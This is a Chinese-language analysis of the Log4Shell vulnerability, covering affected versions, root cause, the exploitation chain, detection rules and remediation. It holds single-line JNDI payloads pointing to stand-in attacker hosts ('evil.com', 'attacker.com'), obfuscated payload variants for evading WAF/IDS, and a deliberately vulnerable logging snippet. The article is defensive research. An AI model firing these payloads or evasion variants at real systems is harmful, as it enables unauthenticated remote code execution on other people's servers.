CVE-2021-44228: Apache Log4j2 JNDI 注入漏洞分析

CVE-2021-44228: Apache Log4j2 JNDI 注入漏洞分析

CVE-2021-44228(通用名称 Log4Shell)是互联网历史上影响范围最广、利用最简单的漏洞之一。Apache Log4j2 日志框架的 Message Lookup 功能默认启用了 JNDI 查找,攻击者可以通过注入特制的日志消息触发 JNDI 注入,连接外部 LDAP/RMI 服务器加载并执行恶意 Java 类,实现无需认证的远程代码执行

该漏洞自 2013 年即已存在(JNDI lookup 功能在 2013 年被引入),潜伏近 8 年未被发现。2021 年 12 月公开后,迅速引发全球范围内的应急响应,影响包括 Apache Struts2、Solr、Druid、Flink、Kafka、ElasticSearch、VMware vCenter、Minecraft 等数千种产品。

文章以公开权威资料为基础,偏重研究与防守视角,不提供可直接攻击公网目标的一键利用代码。

0x01 漏洞背景与影响范围

1. 漏洞基本信息

字段详情
CVE 编号CVE-2021-44228
通用名称Log4Shell
影响组件Apache Log4j2 log4j-core
漏洞类型JNDI 注入 / 远程代码执行
CVSS 3.1 评分10.0 Critical
发现者陈兆军(阿里云安全团队)
公开披露2021-12-09
CISA 应急指令ED 22-02

2. 受影响版本

分支受影响版本范围修复版本
Log4j 2.x(主线)2.0-beta9 ~ 2.14.12.15.0 → 2.16.0 → 最终推荐 2.17.1
Log4j 2.12.x(Java 7)2.0-beta9 ~ 2.12.12.12.2 → 2.12.3 → 2.12.4
Log4j 2.3.x(Java 6)2.0 ~ 2.32.3.2

该漏洞自 2013 年即已存在,潜伏近 8 年未被发现。

3. 关联 CVE 链

CVE描述CVSS修复版本
CVE-2021-450462.15.0 补丁绕过,在特定非默认配置下仍可实现 RCE9.02.16.0
CVE-2021-451052.17.0 之前的 DoS(无限递归)7.52.17.0
CVE-2021-44832通过 JDBC Appender 的 RCE(可控数据源 URL)6.62.17.1

4. 受影响的主要产品

类别受影响产品
Apache 生态Struts2、Solr、Druid、Flink、Kafka、ElasticSearch
虚拟化/云VMware vCenter(6.5/6.7/7.0)、AWS、Azure、GCP
游戏Minecraft Java Edition(1.7 ~ 1.18)
网络设备Cisco、SonicWall
工业控制Siemens(工业自动化)
其他Intel、NetApp、Bentley、Apple(开发者工具)、Ubiquiti UniFi

0x02 漏洞原理

1. 核心机制:Message Lookup + JNDI 注入

Log4j2 默认启用了 Message Lookup Substitution(消息查找替换)功能,允许在日志消息中通过 ${...} 语法动态解析变量。其中一个 lookup 方法是 JNDI lookup,它可以:

  1. 连接外部 LDAP / RMI / DNS 等协议服务器
  2. 从远端加载并反序列化 Java 对象
  3. 执行加载对象中的代码

2. 利用链

攻击者注入 payload 到任何会被日志记录的输入字段
    │
    ▼  例如 HTTP Header: User-Agent: ${jndi:ldap://evil.com/a}
    │
    ▼  Log4j 解析日志消息,识别 ${jndi:...} 模式
    │  StrSubstitutor → Interpolator → JndiLookup → JndiManager
    │
    ▼  Log4j 向攻击者控制的 LDAP 服务器发起出站连接
    │  ldap://evil.com/a → 连接攻击者服务器
    │
    ▼  LDAP 服务器返回恶意 Java 类引用(Reference)
    │  指向 http://evil.com/Exploit.class
    │
    ▼  Log4j 获取并加载远程 class,触发 static{} 块中的恶意代码
    │  → Runtime.exec() → 反弹 shell / 植入后门 / 窃取数据

3. 攻击入口点

  • HTTP 请求头User-AgentX-Forwarded-ForRefererX-Api-Version
  • 表单参数:用户名、搜索关键字、请求体
  • API 参数:REST API 路径/查询参数
  • 文件元数据:文件名、邮件主题
  • 任何被记录到日志的用户可控数据

4. 漏洞代码模式

// 漏洞代码 — 用户输入直接传入日志
logger.error("Login failed for user: " + userInput);
// userInput = "${jndi:ldap://evil.com/a}"  触发 RCE

5. 根本原因

  • Log4j 的 StrSubstitutor${jndi:...} 模式未做任何来源验证或协议白名单
  • Java 默认信任远程代码库(trustURLCodebase
  • JNDI 支持 LDAP/RMI/DNS 等多种协议,攻击面极大
  • 该漏洞无需认证,通过合法日志记录路径绕过所有边界防护

0x03 利用路径与攻击链

1. 最简 PoC

${jndi:ldap://attacker.com:1389/Exploit}

2. 完整利用工具链

工具用途
marshalsec将恶意 Java 类转为 LDAP/RMI 引用对象
JNDI-Injection-Exploit自动化 JNDI 注入利用框架
log4j-shell-poc教育用途的完整 PoC 环境
L4shLog4Shell 自动化 RCE 工具
log4j-scan大规模扫描器

3. 混淆变体(绕过 WAF/IDS)

${${lower:j}ndi:ldap://...}
${${upper:j}ndi:ldap://...}
${j${::-n}di:ldap://...}
${jn${env::-}di:ldap://...}
${${env:NaN:-j}ndi:ldap://...}

4. 实战中的后续动作

公开事件中,攻击者通常会:

  • 部署 webshell 或后门
  • 植入加密货币挖矿程序
  • 横向移动到内网其他系统
  • 建立持久化机制
  • 窃取敏感数据

0x04 高级利用姿势

1. 多协议支持

JNDI 支持多种协议,攻击者可以选择:

  • LDAP:最常用,功能强大
  • RMI:Java 远程方法调用
  • DNS:可用于绕过网络限制
  • HTTP:直接下载恶意类

2. 绕过防护

  • 混淆变体:使用 ${lower:}${upper:}${env:} 等绕过 WAF
  • 嵌套查找:多层嵌套绕过简单的正则匹配
  • DNS 隧道:通过 DNS TXT 记录传递 payload

3. 持久化与横向

  • 植入后门到应用服务器
  • 利用获取的凭据横向移动
  • 建立反向隧道绕过防火墙
  • 利用 Log4j 的 JDBC Appender 建立持久化

0x05 日志痕迹与应急排查

1. 关键日志 IOC

# 核心检测正则
\$\{jndi:(ldap|ldaps|rmi|dns|iiop|corba|nds|http)://[^\}]+\}

# 常见混淆变体
${${lower:j}ndi:ldap://...}
${${upper:j}ndi:ldap://...}
${j${::-n}di:ldap://...}

2. 网络层指标

指标类型具体表现
出站连接应用服务器向非常规 IP/端口发起 LDAP(1389/389)、RMI(1099)连接
DNS 查询异常的 DNS TXT 记录查询
HTTP 请求User-Agent / X-Forwarded-For 等头中包含 ${jndi: 字符串
文件下载服务器从外部下载 .class 文件

3. 主机层指标

  • 可疑的子进程(/bin/shbashpowershell)由 Java 进程派生
  • 异常的 .class 文件出现在临时目录(/tmp/%TEMP%
  • 反弹 shell 连接特征

4. 检测规则示例

# Splunk 检测查询
index=* "${jndi:" OR "${lower:" OR "${upper:" OR "jndi:ldap" OR "jndi:rmi"

# YARA 规则关键特征
$jndi = /\$\{jndi:(ldap|rmi|dns)/ nocase

5. 已知武器化案例

攻击者/组织利用方式目标
Mirai 僵尸网络利用 Log4Shell 传播,自动扫描 + 植入恶意软件IoT 设备
Kinsing 挖矿木马通过 Log4Shell 植入加密货币挖矿程序云服务器
Khonsari 勒索软件首个针对 Log4Shell 的跨平台勒索软件多平台
国家行为体作为初始访问向量,建立持久化后门企业/政府

0x06 修复建议

1. 根本修复(优先级最高)

优先级操作说明
P0升级至 2.17.1(Java 8+)/ 2.12.4(Java 7)/ 2.3.2(Java 6)一次性修复所有已知 Log4j2 CVE
P0全面资产清点使用 SCA 工具 + 文件系统扫描,识别所有包含 log4j-core 的应用

2. 临时缓解措施

措施适用版本说明
设置 JVM 参数 -Dlog4j2.formatMsgNoLookups=true2.10+禁用消息查找,但 可被 CVE-2021-45046 绕过
从 classpath 中移除 JndiLookup所有版本zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
网络出口过滤所有限制应用服务器对外 LDAP/RMI 连接

3. 纵深防御建议

  • 网络层:实施出口流量过滤,阻止应用服务器发起非必要 LDAP/RMI 连接
  • WAF/IDS:部署包含 Log4Shell payload 特征的规则
  • 运行时防护:使用 RASP(运行时应用自我保护)拦截 JNDI 注入
  • 供应链安全:使用 SBOM(软件物料清单)追踪所有依赖中的 log4j-core
  • 持续监控:定期扫描 CISA 的已知被利用漏洞目录

0x07 总结

CVE-2021-44228 的核心危险在于:

  1. CVSS 满分 10.0,无需认证即可触发 RCE
  2. 潜伏 8 年未被发现,2013 年引入的 JNDI lookup 功能
  3. 影响范围极广:数千种产品受影响,包括 Apache 生态、VMware、Minecraft 等
  4. 利用极其简单:单行 payload 即可触发
  5. 武器化速度极快:公开后数小时内即出现大规模利用
  6. 多种混淆变体:可绕过 WAF/IDS 检测

Log4Shell 是互联网历史上影响范围最广的漏洞之一,彻底修复需要升级到 2.17.1+,并配合供应链安全审计与纵深防御策略。

0x08 参考资料